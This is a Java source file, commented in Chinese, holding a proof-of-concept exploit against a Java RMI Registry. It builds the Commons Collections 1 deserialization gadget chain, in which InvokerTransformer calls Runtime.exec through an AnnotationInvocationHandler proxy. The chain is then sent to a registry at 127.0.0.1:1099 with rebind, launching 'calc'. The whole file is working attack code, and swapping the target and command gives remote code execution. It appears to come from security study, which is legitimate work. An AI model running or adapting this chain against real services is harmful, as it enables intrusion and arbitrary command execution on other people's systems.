import org.apache.commons.collections.Transformer;

import org.apache.commons.collections.functors.ChainedTransformer;

import org.apache.commons.collections.functors.ConstantTransformer;

import org.apache.commons.collections.functors.InvokerTransformer;

import org.apache.commons.collections.map.TransformedMap;

import sun.rmi.registry.RegistryImpl_Skel;

import java.lang.annotation.Target;

import java.lang.reflect.Constructor;

import java.lang.reflect.InvocationHandler;

import java.lang.reflect.Proxy;

import java.rmi.Remote;

import java.rmi.registry.LocateRegistry;

import java.rmi.registry.Registry;

import java.util.HashMap;

import java.util.Map;

// 攻击 Registry 的 EXP，使用 bind/rebind

public class AttackRegistryEXP {

public static void main(String[] args) throws Exception{

Registry registry = LocateRegistry.getRegistry("127.0.0.1",1099);

InvocationHandler handler = (InvocationHandler) CC1();

Remote remote = Remote.class.cast(Proxy.newProxyInstance(

Remote.class.getClassLoader(),new Class[] { Remote.class }, handler));

registry.rebind("test",remote);

}

public static Object CC1() throws Exception{

Transformer[] transformers = new Transformer[]{

new ConstantTransformer(Runtime.class), // 构造 setValue 的可控参数

new InvokerTransformer("getMethod",

new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),

new InvokerTransformer("invoke"

, new Class[]{Object.class, Object[].class}, new Object[]{null, null}),

new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})

};

ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);

HashMap<Object, Object> hashMap = new HashMap<>();

hashMap.put("value","drunkbaby");

Map<Object, Object> transformedMap = TransformedMap.decorate(hashMap, null, chainedTransformer);

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");

Constructor aihConstructor = c.getDeclaredConstructor(Class.class, Map.class);

aihConstructor.setAccessible(true);

Object o = aihConstructor.newInstance(Target.class, transformedMap);

return o;

}

}